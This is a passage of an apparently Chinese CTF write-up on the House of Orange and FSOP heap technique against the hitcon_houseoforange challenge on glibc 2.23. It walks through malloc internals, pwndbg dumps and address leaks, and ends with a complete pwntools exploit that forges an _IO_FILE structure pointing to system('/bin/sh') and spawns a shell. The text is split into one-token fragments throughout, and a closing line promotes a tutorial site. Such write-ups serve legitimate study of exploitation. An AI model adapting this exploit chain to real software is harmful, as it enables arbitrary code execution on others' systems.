(fwd !
=
bck)
/
/
如果此largbin不为空,明显不是,不进去
{
......
}
else
/
/
如果此largebin为空,将victim插入 fd_nextsize
/
bk_nextsize链表
victim
-
>fd_nextsize
=
victim
-
>bk_nextsize
=
victim;
}
mark_bin (av, victim_index);
victim
-
>bk
=
bck;
/
/
将victim插入fd
/
bk链表,其fd
/
bk均指向largebin链表头
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
|
由上面的分析可知,当要分配的chunk属于smallbin大小范围(包括fastbin和smallbin)的时候,走完if (in_smallbin_range (nb) &&...
这个判断的时候,就会切割old top chunk并返回给用户,name3不会有指向自身fd_nextsize/bk_nextsize
。所以需要name3申请的大小为largebin大小。
当分配name3的时候,单步调试上面代码,走到bck->fd = victim;
的时候看一下各变量的值:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
pwndbg> p
/
x victim
-
>fd
# victim->fd/bk的值是对应largebin链表头的地址
$
7
=
0x7f3b4b787188
pwndbg> x
/
gx victim
-
>fd
0x7f3b4b787188
<main_arena
+
1640
>:
0x00007f3b4b787178
pwndbg> x
/
gx victim
-
>bk
0x7f3b4b787188
<main_arena
+
1640
>:
0x00007f3b4b787178
pwndbg> p
/
x victim
-
>fd_nextsize
# victim->fd_nextsize/bk_nextsize的值是原old_top_chunk(即name3)的地址
$
8
=
0x561a3863d0c0
pwndbg> p
/
x victim
-
>bk_nextsize
$
9
=
0x561a3863d0c0
pwndbg> x
/
gx victim
-
>fd_nextsize
0x561a3863d0c0
:
0x0000000000000000
pwndbg> x
/
gx victim
-
>bk_nextsize
0x561a3863d0c0
:
0x0000000000000000
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x561a3863d000
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x561a3863d020
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x561a3863d040
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x561a3863d060
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x561a3863d080
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x561a3863d0a0
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x561a3863d0c0
# old_top_chunk地址,后面切割后变成name3的地址
Size:
0xf21
Allocated chunk
Addr:
0x561a3863dfe0
Size:
0x10
Allocated chunk | PREV_INUSE
Addr:
0x561a3863dff0
Size:
0x11
Allocated chunk
Addr:
0x561a3863e000
Size:
0x00
pwndbg> vmmap
# 看一下libc基址
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x561a37161000
0x561a37164000
r
-
xp
3000
0
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
house_of_orange
/
hitcon_houseoforange
0x561a37363000
0x561a37364000
r
-
-
p
1000
2000
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
house_of_orange
/
hitcon_houseoforange
0x561a37364000
0x561a37365000
rw
-
p
1000
3000
/
home
/
lzx
/
pwn
/
heap
/
IO_FILE
/
house_of_orange
/
hitcon_houseoforange
0x561a3863d000
0x561a38680000
rw
-
p
43000
0
[heap]
0x7f3b4b3c2000
0x7f3b4b582000
r
-
xp
1c0000
0
/
lib
/
x86_64
-
linux
-
gnu
/
libc
-
2.23
.so
# libc基址
0x7f3b4b582000
0x7f3b4b782000
-
-
-
p
200000
1c0000
/
lib
/
x86_64
-
linux
-
gnu
/
libc
-
2.23
.so
0x7f3b4b782000
0x7f3b4b786000
r
-
-
p
4000
1c0000
/
lib
/
x86_64
-
linux
-
gnu
/
libc
-
2.23
.so
0x7f3b4b786000
0x7f3b4b788000
rw
-
p
2000
1c4000
/
lib
/
x86_64
-
linux
-
gnu
/
libc
-
2.23
.so
0x7f3b4b788000
0x7f3b4b78c000
rw
-
p
4000
0
0x7f3b4b78c000
0x7f3b4b7b2000
r
-
xp
26000
0
/
lib
/
x86_64
-
linux
-
gnu
/
ld
-
2.23
.so
0x7f3b4b991000
0x7f3b4b994000
rw
-
p
3000
0
0x7f3b4b9b1000
0x7f3b4b9b2000
r
-
-
p
1000
25000
/
lib
/
x86_64
-
linux
-
gnu
/
ld
-
2.23
.so
0x7f3b4b9b2000
0x7f3b4b9b3000
rw
-
p
1000
26000
/
lib
/
x86_64
-
linux
-
gnu
/
ld
-
2.23
.so
0x7f3b4b9b3000
0x7f3b4b9b4000
rw
-
p
1000
0
0x7ffe4dcf5000
0x7ffe4dd16000
rw
-
p
21000
0
[stack]
0x7ffe4dded000
0x7ffe4ddf0000
r
-
-
p
3000
0
[vvar]
0x7ffe4ddf0000
0x7ffe4ddf2000
r
-
xp
2000
0
[vdso]
0xffffffffff600000
0xffffffffff601000
r
-
xp
1000
0
[vsyscall]
pwndbg> p
/
x
0x7f3b4b787188
-
0x7f3b4b3c2000
# 计算largebin链表头和libc基址之间的偏移
$
10
=
0x3c5188
|
再总结一下此时heap的变化:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
......
/
/
build(
0x1000
,b
'c'
*
8
)
-
分配orange2(由于old top chunk进入unosrtedbin,所以后面分配堆块都从old top chunk切割)
| house1 |name1 |orange1 | house2 | orange2 |.........old top chunk (free)....................| .. | name2 |new top chunk|
/
/
build(
0x400
,b
'd'
*
7
)
-
切割old top chunk,分配house3
| house1 |name1 |orange1 | house2 | orange2 | house3 | .......old top chunk (free)............| .. | name2 |new top chunk|
-
-
-
-
-
-
-
-
-
-
fd和bk被覆盖为orange3和name3的地址
/
/
build(
0x400
,b
'd'
*
7
)
-
切割old top chunk,分配name3
| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | ......... old top chunk (free) | .. | name2 |new top chunk|
-
-
-
-
-
-
-
-
-
-
fd被覆盖为ddddddd\n,bk还是largebin的地址,fd_nextsize和bk_nextsize是name3的地址
/
/
build(
0x400
,b
'd'
*
7
)
-
切割old top chunk,分配orange3
| house1 |name1 |orange1 | house2 | orange2 | house3 | name3 | orange3 | old top chunk (free) | .. | name2 |new top chunk|
|
由于fd_nextsize保留下来了,所以利用upgrade输入0x10个字符,并调用see,也就可以泄露出name3的地址,从而计算heap的地址。为后面修改vtable作准备。
1
2
3
4
5
6
7
8
9
|
upgrade(
0x10
,b
'e'
*
0xf
)
# leak heap addr
see()
ru(
'e'
*
0xf
+
'\n'
)
heap_addr
=
u64(r(
6
).ljust(
8
,
"\x00"
))
-
(
0x20
*
6
)
# house1,name1,orange1,house2,orange2,house3
# 计算&top[12]:前面有house1,name1,orange1,house2,orange2,house3,name3,orange3,top的前面12个8字节
fake_vtable_addr
=
heap_addr
+
(
0x20
*
6
)
+
0x410
+
0x20
+
0x8
*
12
leak(
'addr(heap)'
,heap_addr)
leak(
'addr(vtable)'
, fake_vtable_addr)
dbg()
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77b000
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77b020
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77b040
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77b060
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77b080
Size:
0x21
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77b0a0
Size:
0x21
Allocated chunk | PREV_INUSE
# name3
Addr:
0x557e5f77b0c0
Size:
0x411
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77b4d0
Size:
0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr:
0x557e5f77b4f0
Size:
0xaf1
fd:
0x7f3e2dba5b78
bk:
0x7f3e2dba5b78
Allocated chunk
Addr:
0x557e5f77bfe0
Size:
0x10
Allocated chunk | PREV_INUSE
Addr:
0x557e5f77bff0
Size:
0x11
Allocated chunk
Addr:
0x557e5f77c000
Size:
0x00
pwndbg> x
/
8gx
0x557e5f77b0c0
0x557e5f77b0c0
:
0x0000000000000000
0x0000000000000411
0x557e5f77b0d0
:
0x6565656565656565
0x0a65656565656565
0x557e5f77b0e0
:
0x0000557e5f77b0c0
#可以泄露出该地址 0x0000557e5f77b0c0
0x557e5f77b0f0
:
0x0000000000000000
0x0000000000000000
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# unsortedbin attack and fsop
payload
=
b
'f'
*
0x400
# name3
payload
+
=
p64(
0
)
+
p64(
0x21
)
+
2
*
p64(
1
)
# orange3
fake_file
=
IO_FILE_plus()
fake_file._flags
=
0x0068732f6e69622f
# /bin/sh
fake_file._IO_read_ptr
=
0x61
# overwrite old_top_chunk's size
fake_file._IO_read_base
=
io_list_all_addr
-
0x10
# overwrite old_top_chunk's bk (for unsortedbin attack)
fake_file._IO_write_base
=
0
fake_file._IO_write_ptr
=
1
fake_file._mode
=
0
fake_file._old_offset
=
system_addr
fake_file.vtable
=
fake_vtable_addr
# &old_top_chunk[12]
fake_file.show()
payload
+
=
str
(fake_file)
upgrade(
0x1000
,payload)
# 这个数值只要够大就行
dbg()
command(
1
)
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
IO_FILE_plus struct:
{
_flags:
0x68732f6e69622f
/
/
/
bin
/
sh
_IO_read_ptr:
0x61
/
/
overwrite old_top_chunk's size
_IO_read_end:
0x0
_IO_read_base:
0x7fde9e8af510
/
/
篡改bk,unsortedbin attack
_IO_write_base:
0x0
/
/
0
_IO_write_ptr:
0x1
/
/
1
_IO_write_end:
0x0
_IO_buf_base:
0x0
_IO_buf_end:
0x0
_IO_save_base:
0x0
_IO_backup_base:
0x0
_IO_save_end:
0x0
_markers:
0x0
/
/
fake_vtable
_chain:
0x0
_fileno:
0x0
_flags2:
0x0
_old_offset:
0x7fde9e52f3a0
/
/
将fake_vtable的__overflow篡改为system地址
_cur_column:
0x0
_vtable_offset:
0x0
_shortbuf:
0x0
_lock:
0x0
_offset:
0x0
_codecvt:
0x0
_wide_data:
0x0
_freeres_list:
0x0
_freeres_buf:
0x0
__pad5:
0x0
_mode:
0x0
/
/
0
_unused2:
0x0
vtable:
0x55f8c948f550
/
/
指向top[
12
],即_markers的地址
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
|
from
pwn
import
*
from
LibcSearcher
import
LibcSearcher
from
sys
import
argv
from
pwn_debug
import
*
context(log_level
=
'debug'
,arch
=
'amd64'
)
#,terminal=['tmux','sp','-h'])
def
ret2libc(leak, func, path
=
''):
if
path
=
=
'':
libc
=
LibcSearcher(func, leak)
base
=
leak
-
libc.dump(func)
system
=
base
+
libc.dump(
'system'
)
binsh
=
base
+
libc.dump(
'str_bin_sh'
)
else
:
libc
=
ELF(path)
base
=
leak
-
libc.sym[func]
system
=
base
+
libc.sym[
'system'
]
binsh
=
base
+
libc.search(
'/bin/sh'
).
next
()
return
(system, binsh)
s
=
lambda
data :p.send(
str
(data))
sa
=
lambda
delim,data :p.sendafter(
str
(delim),
str
(data))
sl
=
lambda
data :p.sendline(
str
(data))
sla
=
lambda
delim,data :p.sendlineafter(
str
(delim),
str
(data))
r
=
lambda
num
=
4096
:p.recv(num)
ru
=
lambda
delims, drop
=
True
:p.recvuntil(delims, drop)
itr
=
lambda
:p.interactive()
uu32
=
lambda
data :u32(data.ljust(
4
,
'\0'
))
uu64
=
lambda
data :u64(data.ljust(
8
,
'\0'
))
leak
=
lambda
name,addr :log.success(
'{} = {:#x}'
.
format
(name, addr))
p
=
process(
"./hitcon_houseoforange"
)
#p = remote("node4.buuoj.cn",29535)
libc
=
ELF(
"/lib/x86_64-linux-gnu/libc.so.6"
)
#libc = ELF('./libc-2.23.so')
elf
=
ELF(
"./hitcon_houseoforange"
)
def
dbg():
gdb.attach(p)
pause()
def
command(
id
):
ru(
"Your choice : "
)
sl(
str
(
id
))
def
build(name_len,name,price
=
0xdeadbeef
,color
=
0xddaa
):
# 56746 = 0xddaa
command(
1
)
ru(
"Length of name :"
)
sl(
str
(name_len))
ru(
"Name :"
)
sl(name)
ru(
"Price of Orange:"
)
sl(
str
(price))
ru(
"Color of Orange:"
)
sl(
str
(color))
def
see():
command(
2
)
def
upgrade(name_len,name,price
=
0xdeadbeef
,color
=
0xddaa
):
command(
3
)
ru(
"Length of name :"
)
sl(
str
(name_len))
ru(
"Name:"
)
sl(name)
ru(
"Price of Orange: "
)
sl(
str
(price))
ru(
"Color of Orange: "
)
sl(
str
(color))
'''step1: leak address of _IO_list_all and heap'''
# overwrite the size of top
build(
0x10
,b
'a'
*
8
)
# house_chunk, name_chunk,orange_chunk
#dbg()
payload
=
b
'b'
*
0x10
# content(name_chunk): 0x10
payload
+
=
p64(
0
)
+
p64(
0x21
)
+
p32(
0xdeadbeef
)
+
p32(
0xddaa
)
+
p64(
0
)
# content(name_chunk) + orange_chunk: 0x10+0x20 = 0x30
payload
+
=
p64(
0
)
+
p64(
0xfa1
)
# content(name_chunk) + orange_chunk + head(topchunk) 0x10+0x20+0x10 = 0x40
upgrade(
0x41
,payload)
#dbg()
build(
0x1000
,b
'c'
*
8
)
# trigger the _int_free in sysmalloc, old top chunk -> unsortedbin
#dbg()
build(
0x400
,b
'd'
*
7
)
# leak the address io_list_all (0x400 -> largebin chunk -> leak fd_nextsize later)
see()
ru(
'ddddddd\n'
)
libc_addr
=
u64(r(
6
).ljust(
8
,
"\x00"
))
-
0x3c5188
libc.address
=
libc_addr
io_list_all_addr
=
libc.sym[
'_IO_list_all'
]
system_addr
=
libc.sym[
'system'
]
leak(
'addr(_IO_list_all)'
,io_list_all_addr)
leak(
'addr(libc_base)'
,libc_addr)
leak(
'addr(system)'
,system_addr)
#dbg()
upgrade(
0x10
,b
'e'
*
0xf
)
# leak heap addr
see()
ru(
'e'
*
0xf
+
'\n'
)
heap_addr
=
u64(r(
6
).ljust(
8
,
"\x00"
))
-
(
0x20
*
6
)
# house1,name1,orange1,house2,orange2,house3
fake_vtable_addr
=
heap_addr
+
(
0x20
*
6
)
+
0x410
+
0x20
+
0x8
*
12
leak(
'addr(heap)'
,heap_addr)
leak(
'addr(vtable)'
, fake_vtable_addr)
#dbg()
''' step2:unsortedbin attack and fsop '''
payload
=
b
'f'
*
0x400
# name3
payload
+
=
p64(
0
)
+
p64(
0x21
)
+
2
*
p64(
1
)
# orange3
fake_file
=
IO_FILE_plus()
fake_file._flags
=
0x0068732f6e69622f
# /bin/sh
fake_file._IO_read_ptr
=
0x61
# overwrite old_top_chunk's size
fake_file._IO_read_base
=
io_list_all_addr
-
0x10
# overwrite old_top_chunk's bk (for unsortedbin attack)
fake_file._IO_write_base
=
0
fake_file._IO_write_ptr
=
1
fake_file._mode
=
0
fake_file._old_offset
=
libc.sym[
"system"
]
fake_file.vtable
=
fake_vtable_addr
# &old_top_chunk[12]
fake_file.show()
payload
+
=
str
(fake_file)
upgrade(
0x1000
,payload)
#dbg()
command(
1
)
# 触发攻击
itr()
|
更多【Pwn堆利用学习 —— FSOP、House of Orange —— ciscn_2019_n_7、House_of_Orange】相关视频教程:www.yxfzedu.com